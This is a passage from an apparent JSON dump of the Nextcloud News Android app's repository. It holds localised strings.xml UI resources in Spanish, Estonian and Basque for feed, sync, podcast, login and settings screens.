name=\"pref_title_MarkAsReadWhileScrolling\">Marcar como leído al desplazar</string>\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">¿Aceptar certificados desconocidos?</string>\n    <string name=\"mtm_decision_always\">Siempre</string>\n    <string name=\"mtm_decision_abort\">Abortar</string>\n    <string name=\"mtm_notification\">Verificación del certificado</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">No se ha seleccionado algún podcast</string>\n    <string name=\"no_chapters_available\">No hay capítulos disponibles</string>\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">Acerca</string>\n    <string name=\"pref_license\">Licencia</string>\n    <string name=\"pref_privacy\">Privacidad</string>\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Mostrar</string>\n    <string name=\"pref_title_app_theme\">Tema</string>\n    <string name=\"pref_title_feed_list_layout\">Lista de fuentes</string>\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Íconos de acción (Vista Detallada)</string>\n\n    <string name=\"pref_display_apptheme_light\">Claro</string>\n    <string name=\"pref_display_apptheme_dark\">Oscuro</string>\n\n    <string name=\"pref_display_font_size_d\">Predeterminado</string>\n    <string name=\"content_desc_play\">Reproducir</string>\n    <string name=\"content_desc_pause\">Pausar</string>\n    <string name=\"content_desc_forward\">Adelante</string>\n    <string name=\"content_desc_collapse\">Colapsar</string>\n    <string name=\"content_desc_add_to_favorites\">Agregar a tus favoritos</string>\n    <string name=\"content_desc_remove_from_favorites\">Eliminar de favoritos</string>\n    <string name=\"content_desc_delete\">Borrar</string>\n    <string name=\"content_desc_download\">Descargar</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Error</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Algo salió mal :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">La aplicación de Noticias Web regresó Versión \\\"0\\\". Por favor revisa el siguiente reporte de fallas: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_title_security_warning\">Advertencia de seguridad</string>\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Sincronización de datos &amp;</string>\n    <string name=\"pref_title_clearCache\">Limpiar el caché</string>\n    <string name=\"pref_title_CacheImagesOffline\">Cachear imágenes offline</string>\n    <string name=\"pref_title_Max_Cache_Size\">Tamaño máximo del caché</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Nunca</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Solo mediante WiFI</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Mediante WiFi &amp; datos móviles</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Preguntar cuando no se esté conectado a una WiFi</string>\n\n    <string name=\"array_sync_interval_min_0\">Nunca</string>\n    <string name=\"array_sync_interval_min_5\">5 minutos</string>\n    <string name=\"array_sync_interval_min_15\">15 minutos</string>\n    <string name=\"array_sync_interval_min_30\">30 minutos</string>\n    <string name=\"array_sync_interval_hour_1\">1 hora</string>\n    <string name=\"array_sync_interval_hour_3\">3 horas</string>\n    <string name=\"array_sync_interval_hour_6\">6 horas</string>\n    <string name=\"array_sync_interval_hour_12\">12 horas</string>\n    <string name=\"array_sync_interval_hour_24\">24 horas</string>\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-et-rEE/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Automaatne sünkimine</string>\n    <string name=\"title_activity_sync_interval_selector\">Sünkimise välp</string>\n    <string name=\"empty_view_content\">Siin pole kirjeid</string>\n    <string name=\"empty_view_content_action\">Pull down to refresh</string>\n    <string name=\"toast_GettingMoreItems\">Täiendavate kirjete allalaadimine algas. Palun oota…</string>\n    <string name=\"no_wifi_available\">WiFi pole ühendatud</string>\n    <string name=\"do_you_want_to_download_without_wifi\">Kas sa soovid pilte alla laadida ka väljaspool WiFi ühendust?</string>\n    <string name=\"current_version\">Sa kasutad versioon %s</string>\n    <string name=\"widget_header\">Nextcloudi uudised</string>\n    <string name=\"message_bar_scroll_top\">Laadi uuesti ja keri üles äärde</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">Saadaval on %d uus kirjet</item>\n        <item quantity=\"other\">Saadaval on %d uut kirjet</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Laadi uuesti</string>\n    <string name=\"allUnreadFeeds\">Kõik lugemata kirjed</string>\n    <string name=\"starredFeeds\">Tärniga märgitud kirjed</string>\n    <string name=\"downloadedPodcasts\">Allalaaditud taskuhäälingud</string>\n    <string name=\"title_activity_new_feed\">Lisa uudisvoog</string>\n\n    <string name=\"menu_update\">Värskenda</string>\n    <string name=\"menu_markAllAsRead\">Märgi loetuks</string>\n    <string name=\"menu_StartImageCaching\">Laadi pildid alla</string>\n    <string name=\"menu_downloadMoreItems\">Laadi alla rohkem kirjeid</string>\n\n    <string name=\"tv_showing_cached_version\">Näitan puhverdatud versiooni</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Tärniga märgitud</string>\n    <string name=\"action_read\">Lugemine</string>\n    <string name=\"action_playPodacst\">Esita taskuhäälingut</string>\n    <string name=\"action_removePodcast\">Eemalda taskuhäälingu meedia</string>\n    <string name=\"action_openInBrowser\">Ava veebilehitsejas</string>\n    <string name=\"action_Share\">Jaga</string>\n    <string name=\"action_login\">Serveri seaded</string>\n    <string name=\"action_save\">Salvesta</string>\n    <string name=\"action_settings\">Seaded</string>\n    <string name=\"action_sync_settings\">Sync seaded</string>\n    <string name=\"action_add_new_feed\">Lisa uudisvoog</string>\n    <string name=\"action_add_new_folder\">Lisa uus kaust</string>\n    <string name=\"action_textToSpeech\">Loe ette</string>\n    <string name=\"action_search\">Otsi</string>\n    <string name=\"action_download_articles_offline\">Laadi artiklid alla kasutamiseks vallasrežiimis</string>\n    <!-- notifications -->\n    <string name=\"notification_download_articles_offline\">Laadin alla artikleid kasutamiseks vallasrežiimis</string>\n    <string name=\"notification_download_images_offline\">Laadin alla pilte kasutamiseks vallasrežiimis</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">Sul on %d uus lugemata kirje</item>\n        <item quantity=\"other\">Sul on %d uut lugemata kirjet</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">Saadaval on %d uus lugemata kirje</item>\n        <item quantity=\"other\">Saadaval on %d uut lugemata kirjet</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">Uudisvoo URL</string>\n    <string name=\"action_add_feed\">Lisa uudivoog</string>\n    <string name=\"import_opml\">Impordi OPML-fail</string>\n    <string name=\"export_opml\">Ekspordi OPML-failina</string>\n\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Laadi pilt alla</string>\n    <string name=\"action_img_sharelink\">Jaga pildi linki</string>\n    <string name=\"action_img_open\">Ava pilt veebilehitsejas</string>\n    <string name=\"action_img_copylink\">Kopeeri pildi link</string>\n    <string name=\"action_link_share\">Jaga linki</string>\n    <string name=\"action_link_open\">Ava link veebilehitsejas</string>\n    <string name=\"action_link_copy\">Kopeeri link</string>\n    <string name=\"toast_img_download_wait\">Laadin alla. Palun oota…</string>\n    <string name=\"toast_img_saved\">Pilt on salvestatud</string>\n    <string name=\"toast_img_notwriteable\">Pildi kirjutamine ei õnnestunud.</string>\n    <string name=\"toast_copied_to_clipboard\">Kopeeritud lõikepuhvrisse</string>\n    <string name=\"error_download_failed\">Allalaadimine ei õnnestunud</string>\n    <string name=\"intent_title_share\">Jaga kasutades</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Eemalda uudisvoog</string>\n    <string name=\"action_feed_rename\">Muuda uudisvoo nime</string>\n    <string name=\"action_feed_move\">Teisalda uudisvoog</string>\n    <string name=\"action_feed_notification_settings\">Teavituse seadistused</string>\n    <string name=\"action_feed_open_in\">Ava seadistused</string>\n    <string name=\"action_feed_open_in_general_setting\">Kasuta üldisi seadistusi</string>\n    <string name=\"action_feed_open_in_detailed_view\">Üksikasjalik vaade</string>\n    <string name=\"feed_remove_button\">Eemalda</string>\n    <string name=\"feed_rename_button\">Muuda nime</string>\n    <string name=\"confirm_feed_remove\">Kas oled kindel, et soovid selle uudisvoo eemaldada? Seda tegevust ei saa tagasi pöörata.</string>\n    <string name=\"feed_move_list_description\">Vali kaust, kuhu soovid uudisvoo teisaldada</string>\n    <string name=\"move_feed_root_folder\">Juurkaust</string>\n\n\n    <!-- Strings related to FolderOptionsDialogFragment (Rename/Remove folder) -->\n    <string name=\"action_folder_remove\">Eemalda kaust</string>\n    <string name=\"action_folder_rename\">Muuda kausta nime</string>\n    <string name=\"folder_remove_button\">Eemalda</string>\n    <string name=\"folder_rename_button\">Muuda nime</string>\n    <string name=\"confirm_folder_remove\">Kas oled kindel, et soovid selle kausta kustutada? Seda tegevust ei saa tagasi pöörata.</string>\n\n    <!-- Strings related to NewsReaderListDialogFragment (Notification Settings) -->\n    <string name=\"notification_feed_unique\">Teavita selle konkreetse uudisvoo osas</string>\n    <string name=\"notification_feed_default\">Teavita kõikide vaikimisi seadistustega uudisvoogude osas ühe teavitusega</string>\n    <string name=\"notification_feed_none\">Ära teavita üldse</string>\n\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Lisa</string>\n    <string name=\"hint_folder_name\">Kausta nimi</string>\n    <string name=\"folder_already_exists\">Selline kaust on juba olemas</string>\n\n    <!-- Strings related to login -->\n    <string name=\"login_manual\">Käsitsi sisselogimine</string>\n    <string name=\"login_sso\">Logi sisse Nextcloudi Failirakendusega</string>\n    <string name=\"pref_title_username\">Kasutajanimi</string>\n    <string name=\"pref_title_password\">Salasõna</string>\n    <string name=\"pref_title_owncloudRootPath\">Nextcloudii juuraddress</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/owncloud</string>\n\n    <string name=\"action_sign_in_short\">Logi sisse</string>\n    <string name=\"login_progress_signing_in\">Sisselogimisel…</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">See väli on kohustuslik</string>\n    <string name=\"error_invalid_url\">Vigane võrguaadress</string>\n\n    <!--Snackbar Messages -->\n    <plurals name=\"marked_as_read_message\">\n        <item quantity=\"one\">Märkisin %d kirje loetuks</item>\n        <item quantity=\"other\">Märkisin %d kirjet loetuks</item>\n    </plurals>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">Alla on laaditud %d vana kirje</item>\n        <item quantity=\"other\">Alla on laaditud %d vana kirjet</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">Rohkem kirjeid pole saadaval</string>\n    <plurals name=\"fetched_items_so_far\">\n        <item quantity=\"one\">Seni on laaditud %d kirje…</item>\n        <item quantity=\"other\">Seni on laaditud %d kirjet…</item>\n    </plurals>\n\n\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Seaded</string>\n    <string name=\"cache_is_cleared\">Vahemälu on tühjendatud!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">Üldine</string>\n    <string name=\"pref_title_general_sort_order\">Sorteerimise järjekord</string>\n\n    <string name=\"pref_general_sort_order_new_old\">Uus → Vana</string>\n    <string name=\"pref_general_sort_order_old_new\">Vana → Uus</string>\n\n    <string name=\"pref_rename_action_swipe_right\">Tegevus paremale viipamisel</string>\n    <string name=\"pref_rename_action_swipe_left\">Tegevus vasakule viipamisel</string>\n\n    <string name=\"pref_title_general_search_in\">Otsi siit</string>\n\n    <string name=\"pref_general_search_in_title\">Pealkiri</string>\n    <string name=\"pref_general_search_in_body\">Sisu</string>\n    <string name=\"pref_general_search_in_both\">Mõlemad</string>\n\n    <string name=\"dialog_clearing_cache\">Tühjendan puhvrit</string>\n    <string name=\"dialog_clearing_cache_please_wait\">Vahemälu on kustutamisel, palun oota…</string>\n    <string name=\"reset_cache_unsaved_changes\">Esineb sünkroniseerimata muudatusi. Kas soovid puhvri sellegipoolest lähtestada?</string>\n    <string name=\"warning\">Hoiatus</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Sünkroniseeri käivitamisel</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Näita ainult lugemata artikleid</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Keela serveri nime kontroll</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Navigeeri häälevaljuse nuppudega</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Märgi kerides loetuks</string>\n    <string name=\"pref_title_SyncWhenScrolledToBottom\">Alla äärde kerimisel alusta sünkroonimist</string>\n    <string name=\"pref_title_ShowFastActions\">Lülita sisse kiirligipääsu funktsionaalsuse</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">Jäta üksikasjalik vaade avamata ning tee seda veebilehitsejas</string>\n    <string name=\"pref_title_BackButtonOpensDrawer\">„Tagasi“ nupp avab menüü</string>\n\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">Nõustu tundmatu sertifikaadiga?</string>\n    <string name=\"mtm_decision_always\">Alati</string>\n    <string name=\"mtm_decision_abort\">Katkesta</string>\n    <string name=\"mtm_notification\">Sertifikaadi kontroll</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">Ühtegi podcasti pole valitud</string>\n    <string name=\"no_chapters_available\">Ühtegi peatükki pole saadaval</string>\n    <string name=\"exit_playback\">Sulge meediaesitaja</string>\n    <string name=\"podcast_playback_speed_dialog_title\">Taasesituse kiirus</string>\n    <string name=\"notification_downloading_podcast_title\">Taskuhääling on allalaadimisel</string>\n    <string name=\"dialog_podcast_remove_title\">Kas oled kindel?</string>\n    <string name=\"dialog_podcast_remove_body\">Oled sa kindel, et soovid „%1$s“ allalaaditud meediafailid kustutada?</string>\n    <string name=\"dialog_podcast_status_failed\">„%1$s“ meediafailide kustutamine ei õnnestunud</string>\n    <string name=\"dialog_podcast_status_success\">„%1$s“ meediafailid on kustutatud</string>\n    <string name=\"dialog_podcast_remove_confirm\">Eemalda</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">Info</string>\n    <string name=\"pref_license\">Litsents</string>\n    <string name=\"pref_license_summary\">GNU Affero Üldine Avalik Litsents (AGPL), versioon 3</string>\n    <string name=\"pref_report_issue\">Teata veast</string>\n    <string name=\"pref_report_issue_summary\">Eeldab GitHubi (tasuta) kasutajakonto olemasolu</string>\n    <string name=\"pref_contribute\">Tee kaastööd!</string>\n    <string name=\"pref_contribute_summary\">Vaata lähtekoodi</string>\n    <string name=\"pref_privacy\">Privaatsus</string>\n    <string name=\"pref_privacy_summary\">Nextcloudi Uudiste privaatsusreeglid</string>\n    <string name=\"pref_news_policy\">Meie kontaktid ja uudiste reeglid</string>\n    <string name=\"pref_news_policy_summary\">Nextcloudi Uudiste reeglid ja meie kontaktid</string>\n    <string name=\"pref_version\">Nextcloudi Uudiste rakendus</string>\n\n\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Vaade</string>\n    <string name=\"pref_title_app_theme\">Kujundus</string>\n    <string name=\"pref_title_feed_list_layout\">Uudisvoo nimekirja paigutus</string>\n    <string name=\"pref_title_font_size\">Kirjasuurus</string>\n    <string name=\"pref_display_browser\">Veebilehitseja</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Tegevuste ikoonid (üksikasjalik vaade)</string>\n\n    <string name=\"pref_display_apptheme_auto\">Süsteemi kujundus</string>\n    <string name=\"pref_display_apptheme_light\">Hele kujundus</string>\n    <string name=\"pref_display_apptheme_dark\">Tume kujundus</string>\n\n    <string name=\"pref_oled_mode\">Must taust</string>\n    <string name=\"pref_oled_mode_summary\">Tumeda kujunduse jaoks oled-ekraanidel</string>\n\n    <string name=\"pref_detailed_view_zoom\">Suumimine üksikasjalikus vaates</string>\n    <string name=\"pref_detailed_view_zoom_summary\">Võimalda suumida üksikasjalikus vaates</string>\n\n    <string name=\"pref_external_player\">Väline meediaesitaja</string>\n    <string name=\"pref_external_player_summary\">Kuula taskuhäälinguid oma vaikimisi meediarakenduses</string>\n\n    <string name=\"pref_display_browser_cct\">Sisseehitatud Chrome\\'i põhised vahekaardid</string>\n    <string name=\"pref_display_browser_built_in\">Sisseehitatud veebilehitseja</string>\n    <string name=\"pref_display_browser_external\">Väline veebilehitseja</string>\n\n    <string name=\"pref_display_feed_list_layout_headline_thumbnails\">Pisipildid (vaid alapealkirjad)</string>\n    <string name=\"pref_display_feed_list_layout_thumbnails\">Pisipildid</string>\n    <string name=\"pref_display_feed_list_layout_simple_text\">Lihtsustatud tekst</string>\n    <string name=\"pref_display_feed_list_layout_headlines\">Alapealkirjad</string>\n    <string name=\"pref_display_feed_list_layout_full_text\">Täistekst</string>\n    <string name=\"pref_display_feed_list_layout_web_layout\">Veebiküljendus</string>\n    <string name=\"pref_display_feed_list_layout_card_view\">Kaardivaade</string>\n\n    <!-- font size scaling definitions -->\n    <string name=\"pref_display_font_size_s\">Väike</string>\n    <string name=\"pref_display_font_size_d\">Vaikeväärtus</string>\n    <string name=\"pref_display_font_size_l\">Suur</string>\n    <string name=\"pref_display_font_size_xl\">Eriti suur</string>\n\n    <string name=\"content_desc_play\">Esita</string>\n    <string name=\"content_desc_pause\">Paus</string>\n    <string name=\"content_desc_playback_speed\">Taasesituse kiirus</string>\n    <string name=\"content_desc_rewind\">Keri tagasi</string>\n    <string name=\"content_desc_forward\">Edasi</string>\n    <string name=\"content_desc_expand\">Laienda</string>\n    <string name=\"content_desc_collapse\">Sulge</string>\n    <string name=\"content_desc_mark_as_read\">Märgi loetuks</string>\n    <string name=\"content_desc_mark_as_unread\">Märgi mitteloetuks</string>\n    <string name=\"content_desc_tap_to_refresh\">Uuendamiseks klõpsi</string>\n    <string name=\"content_desc_add_to_favorites\">Lisa lemmikutesse</string>\n    <string name=\"content_desc_remove_from_favorites\">Eemalda lemmikutest</string>\n    <string name=\"content_desc_show_password\">Näita saalsõna</string>\n    <string name=\"content_desc_delete\">Kustuta</string>\n    <string name=\"content_desc_download\">Laadi alla</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Viga</string>\n    <string name=\"login_dialog_text_news_app_not_installed_on_server\" formatted=\"true\">Tundub uudisterakendus pole serverisse paigaldatud. Palun esmalt paigalda või lase paigaldada järgnevate juhiste alusel uudisterakendus oma serverisse: %1$s</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Midagi läks valesti :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">Veebirakendus Nextcloudi serveris andis päringu vastuseks versiooni „0“. Asajakohast teavet leiad siit veakirjeldusest: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">See rakendus ei ühildu uudisterakendusega Nexctcloudi serveris. Palun uuenda uudisterakendus ja sellega seotud teegid või palu seda teistel teha.</string>\n    <string name=\"login_dialog_title_security_warning\">Turvahoiatus</string>\n    <string name=\"login_dialog_text_security_warning\">Sa ei kasuta https-protokolli ning seda me tungivalt ei soovita. Võimalik kolmas osapool või lausa pahatahtlik ründaja võib sinu veebiliiklust lugeda ja tuvastada sealt privaatset teavet (näiteks sinu salasõna).</string>\n    <string name=\"login_dialog_select_account_unknown_error_toast\">Midagi läks viltu, palun proovi uuesti.</string>\n\n\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Andmed &amp; sünkroniseerimine</string>\n    <string name=\"pref_title_clearCache\">Tühjenda puhver</string>\n    <string name=\"pref_title_CacheImagesOffline\">Puhverda pildid võrguta seisu</string>\n    <string name=\"pref_title_Max_Cache_Size\">Maksimaalne puhvri suurus</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Mitte kunagi</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Ainult üle WiFi</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">WiFi &amp; andmeside</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Küsi, kui pole WiFi-sse ühendatud</string>\n\n    <string name=\"array_sync_interval_min_0\">Mitte kunagi</string>\n    <string name=\"array_sync_interval_min_5\">5 minutit</string>\n    <string name=\"array_sync_interval_min_15\">15 minutit</string>\n    <string name=\"array_sync_interval_min_30\">30 minutit</string>\n    <string name=\"array_sync_interval_min_45\">45 minutit</string>\n    <string name=\"array_sync_interval_hour_1\">1 tund</string>\n    <string name=\"array_sync_interval_hour_2\">2 tundi</string>\n    <string name=\"array_sync_interval_hour_3\">3 tundi</string>\n    <string name=\"array_sync_interval_hour_6\">6 tundi</string>\n    <string name=\"array_sync_interval_hour_12\">12 tundi</string>\n    <string name=\"array_sync_interval_hour_24\">24 tundi</string>\n    <string name=\"switch_account\">Vaheta kasutajakontot</string>\n    \n    <string name=\"successfully_exported\">Eksportimine õnnestus siia:</string>\n    <string name=\"opml_export\">Ekport OPML-faili</string>\n    <string name=\"parsing_opml\">OPML-fail on töötlemisel</string>\n    <string name=\"please_wait\">Palun oota...</string>\n    <string name=\"interval_sync_title\">Sünkimisvälp</string>\n\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-eu/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Sinkronizazio automatikoa</string>\n    <string name=\"title_activity_sync_interval_selector\">Sinkronizazio bitartea</string>\n    <string name=\"empty_view_content\">Ez dago elementurik hemen</string>\n    <string name=\"empty_view_content_action\">Tiratu behera freskatzeko</string>\n    <string name=\"toast_GettingMoreItems\">Elementu gehiagoren deskarga hasita. Itxaron mesedez ...</string>\n    <string name=\"no_wifi_available\">Ez dago WiFira konektatuta</string>\n    <string name=\"do_you_want_to_download_without_wifi\">Irudiak Wi-Fi konexiorik gabe deskargatu nahi dituzu?</string>\n    <string name=\"current_version\">%s bertsioa erabiltzen ari zara</string>\n    <string name=\"widget_header\">Nextcloud Berriak</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">elementu berri %d eskuragarri</item>\n        <item quantity=\"other\">%d elementu berri eskuragarri</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Birkargatu</string>\n    <string name=\"allUnreadFeeds\">Irakurri gabeko elementu guztiak</string>\n    <string name=\"starredFeeds\">Izardun elementuak</string>\n    <string name=\"downloadedPodcasts\">Deskargatutako podcastak</string>\n    <string name=\"title_activity_new_feed\">Gehitu jario berria</string>\n\n    <string name=\"menu_update\">Freskatu</string>\n    <string name=\"menu_markAllAsRead\">Markatu guztiak irakurrita</string>\n    <string name=\"menu_StartImageCaching\">Deskargatu irudiak</string>\n    <string name=\"menu_downloadMoreItems\">Deskargatu elementu gehiago</string>\n\n    <string name=\"tv_showing_cached_version\">Cache bertsioa erakusten</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Izarduna</string>\n    <string name=\"action_read\">Irakurri</string>\n    <string name=\"action_playPodacst\">Erreproduzitu podcasta</string>\n    <string name=\"action_removePodcast\">Kendu Podcast Media</string>\n    <string name=\"action_openInBrowser\">Ireki nabigatzailean</string>\n    <string name=\"action_Share\">Partekatu</string>\n    <string name=\"action_login\">Zerbitzariaren ezarpenak</string>\n    <string name=\"action_save\">Gorde</string>\n    <string name=\"action_settings\">Ezarpenak</string>\n    <string name=\"action_sync_settings\">Sinkronizazio ezarpenak</string>\n    <string name=\"action_add_new_feed\">Gehitu jario berria</string>\n    <string name=\"action_add_new_folder\">Gehitu karpeta berria</string>\n    <string name=\"action_textToSpeech\">Irakurri ozenki</string>\n    <string name=\"action_search\">Bilatu</string>\n    <string name=\"action_download_articles_offline\">Deskargatu artikuluak lineaz kanpo</string>\n    <!-- notifications -->\n    <string name=\"notification_download_articles_offline\">Lineaz kanpo erabiltzeko artikuluak deskargatzen</string>\n    <string name=\"notification_download_images_offline\">Lineaz kanpo erabiltzeko irudiak deskargatzen</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">Irakurri gabeko elementu %d duzu</item>\n        <item quantity=\"other\">Irakurri gabeko %d elementu dituzu</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">Irakurri gabeko elementu berri %d eskuragarri</item>\n        <item quantity=\"other\">Irakurri gabeko %d elementu berri eskuragarri</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">Jarioaren URLa</string>\n    <string name=\"action_add_feed\">Gehitu jarioa</string>\n    <string name=\"import_opml\">Inportatu OPML</string>\n    <string name=\"export_opml\">Esportatu OPML</string>\n\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Deskargatu irudia</string>\n    <string name=\"action_img_sharelink\">Partekatu irudiaren esteka</string>\n    <string name=\"action_img_open\">Ireki irudia nabigatzailean</string>\n    <string name=\"action_img_copylink\">Partekatu irudiaren esteka</string>\n    <string name=\"action_link_share\">Partekatu esteka</string>\n    <string name=\"action_link_open\">Ireki esteka nabigatzailean</string>\n    <string name=\"action_link_copy\">Kopiatu esteka</string>\n    <string name=\"toast_img_download_wait\">Deskargatzen. Itxaron mesedez ...</string>\n    <string name=\"toast_img_saved\">Irudia gordeta</string>\n    <string name=\"toast_img_notwriteable\">Irudiaren idazketak huts egin du</string>\n    <string name=\"toast_copied_to_clipboard\">Arbelera kopiatua</string>\n    <string name=\"error_download_failed\">Deskargak huts egin du</string>\n    <string name=\"intent_title_share\">Partekatu honekin</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Ezabatu jarioa</string>\n    <string name=\"action_feed_rename\">Aldatu izena jarioari</string>\n    <string name=\"action_feed_move\">Lekuz aldatu jarioa</string>\n    <string name=\"action_feed_notification_settings\">Jakinarazpen-ezarpenak</string>\n    <string name=\"action_feed_open_in\">Irekiera ezarpenak</string>\n    <string name=\"action_feed_open_in_general_setting\">Erabili ezarpen orokorrak</string>\n    <string name=\"action_feed_open_in_detailed_view\">Ikuspegi xehea</string>\n    <string name=\"feed_remove_button\">Ezabatu</string>\n    <string name=\"feed_rename_button\">Berrizendatu</string>\n    <string name=\"confirm_feed_remove\">Ziur zaude jario hau ezabatu nahi duzu? Aldaketa ezin da desegin!</string>\n    <string name=\"feed_move_list_description\">Hautatu jarioa ze karpetatara eraman nahi duzun</string>\n    <string name=\"move_feed_root_folder\">Erro karpeta</string>\n\n\n    <!-- Strings related to FolderOptionsDialogFragment (Rename/Remove folder) -->\n    <string name=\"action_folder_remove\">Kendu karpeta</string>\n    <string name=\"action_folder_rename\">Berrizendatu karpeta</string>\n    <string name=\"folder_remove_button\">Kendu</string>\n    <string name=\"folder_rename_button\">Berrizendatu</string>\n    <string name=\"confirm_folder_remove\">Ziur zaude karpeta hau kendu nahi duzula? Ezingo da atzera egin!</string>\n\n    <!-- Strings related to NewsReaderListDialogFragment (Notification Settings) -->\n    <string name=\"notification_feed_unique\">Jaso jakinarazpen esklusiboak jario honentzat</string>\n    <string name=\"notification_feed_default\">Ezarpen lehenetsiak dituzten jario guztiak jakinarazpen batean agertuko dira</string>\n    <string name=\"notification_feed_none\">Ez dago jakinarazpenik</string>\n\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Gehitu</string>\n    <string name=\"hint_folder_name\">Karpetaren izena</string>\n    <string name=\"folder_already_exists\">Karpeta hori badago dagoeneko</string>\n\n    <!-- Strings related to login -->\n    <string name=\"login_manual\">Eskuzko saio hasiera</string>\n    <string name=\"login_sso\">Hasi saioa Nextcloud Fitxategiak aplikazioa erabiliz</string>\n    <string name=\"pref_title_username\">Erabiltzaile-izena</string>\n    <string name=\"pref_title_password\">Pasahitza</string>\n    <string name=\"pref_title_owncloudRootPath\">Nextcloud erro helbidea</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">Izena eman</string>\n    <string name=\"login_progress_signing_in\">Izena ematen ...</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Eremu hau beharrezkoa da</string>\n    <string name=\"error_invalid_url\">URL baliogabea</string>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">Elementu zahar %d deskargatu da</item>\n        <item quantity=\"other\">%d elementu zahar deskargatu dira</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">Ez dago elementu gehiago eskuragarri</string>\n    <plurals name=\"fetched_items_so_far\">\n        <item quantity=\"one\">Elementu %d eskatu da orain arte ...</item>\n        <item quantity=\"other\">%d elementu eskuratu dira orain arte...</item>\n    </plurals>\n\n\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Ezarpenak</string>\n    <string name=\"cache_is_cleared\">Cachea garbitu da!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">Orokorra</string>\n    <string name=\"pref_title_general_sort_order\">Ordenatzeko irizpidea</string>\n\n    <string name=\"pref_general_sort_order_new_old\">Berria → Zaharra</string>\n    <string name=\"pref_general_sort_order_old_new\">Zaharra → Berria</string>\n\n    <string name=\"pref_rename_action_swipe_right\">Ekintza hatza eskuinera pasatzean</string>\n    <string name=\"pref_rename_action_swipe_left\">Ekintza hatza ezkerrera pasatzean</string>\n\n    <string name=\"pref_title_general_search_in\">Bilatu hemen</string>\n\n    <string name=\"pref_general_search_in_title\">Izenburua</string>\n    <string 